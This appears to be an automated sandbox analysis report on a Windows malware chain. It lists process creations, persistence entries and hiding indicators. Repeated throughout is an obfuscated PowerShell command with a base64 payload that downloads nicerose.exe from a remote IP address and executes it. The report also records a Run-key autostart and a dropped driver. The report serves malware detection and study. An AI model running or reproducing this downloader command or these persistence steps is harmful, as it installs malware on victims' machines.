                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Suspicious command line found
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Suspicious powershell command line found
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC87A0 LoadLibraryW,GetProcAddress,FreeLibrary,6_2_02BC87A0
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_050D1884 push ebx; ret 3_2_050D1892
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_07D136DB push FFFFFF8Bh; retf 3_2_07D136E4
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BDC2FC push 02BDC367h; ret 6_2_02BDC35F
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB635A push 02BB63B7h; ret 6_2_02BB63AF
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB635C push 02BB63B7h; ret 6_2_02BB63AF
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BDC0AC push 02BDC125h; ret 6_2_02BDC11D
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BDC1F8 push 02BDC288h; ret 6_2_02BDC280
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C66194 push eax; ret 6_2_02C661B2
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C44162 push ecx; ret 6_2_02C44175
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BDC144 push 02BDC1ECh; ret 6_2_02BDC1E4
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC86C0 push 02BC8702h; ret 6_2_02BC86FA
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB673E push 02BB6782h; ret 6_2_02BB677A
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB6740 push 02BB6782h; ret 6_2_02BB677A
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BBC4F4 push ecx; mov dword ptr [esp], edx6_2_02BBC4F9
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCE5B4 push ecx; mov dword ptr [esp], edx6_2_02BCE5B9
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BBCB74 push 02BBCCFAh; ret 6_2_02BBCCF2
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BBCB57 push 02BBCCFAh; ret 6_2_02BBCCF2
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC68D0 push 02BC697Bh; ret 6_2_02BC6973
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC68CE push 02BC697Bh; ret 6_2_02BC6973
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCA920 push 02BCA958h; ret 6_2_02BCA950
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCA91F push 02BCA958h; ret 6_2_02BCA950
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC8918 push 02BC8950h; ret 6_2_02BC8948
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC8916 push 02BC8950h; ret 6_2_02BC8948
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC2EE8 push 02BC2F5Eh; ret 6_2_02BC2F56
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC2FF4 push 02BC3041h; ret 6_2_02BC3039
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC2FF3 push 02BC3041h; ret 6_2_02BC3039
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB32FC push eax; ret 6_2_02BB3338
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BBD528 push 02BBD554h; ret 6_2_02BBD54C
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BDBB6C push 02BDBD94h; ret 6_2_02BDBD8C
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC7894 push 02BC7911h; ret 6_2_02BC7909
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C65872 push ecx; ret 6_2_02C65885

                Persistence and Installation Behavior

                barindex
                Drops PE files with a suspicious file extension
                Source: C:\Users\user\AppData\Roaming\nicerose.exeFile created: C:\Users\Public\Libraries\Emxwenem.PIFJump to dropped file
                Sample is not signed and drops a device driver
                Source: C:\Users\user\AppData\Roaming\nicerose.exeFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFFile created: C:\Windows \SysWOW64\truesight.sys
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028163C6 ShellExecuteW,URLDownloadToFileW,10_2_028163C6
                Source: C:\Users\user\AppData\Roaming\nicerose.exeFile created: C:\Users\Public\Libraries\Emxwenem.PIFJump to dropped file
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\nicerose.exeJump to dropped file
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.dllJump to dropped file
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02828AC3 OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,10_2_02828AC3
                Source: C:\Users\user\AppData\Roaming\nicerose.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EmxwenemJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EmxwenemJump to behavior

                Hooking and other Techniques for Hiding and Protection

                barindex
                Loading BitLocker PowerShell Module
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
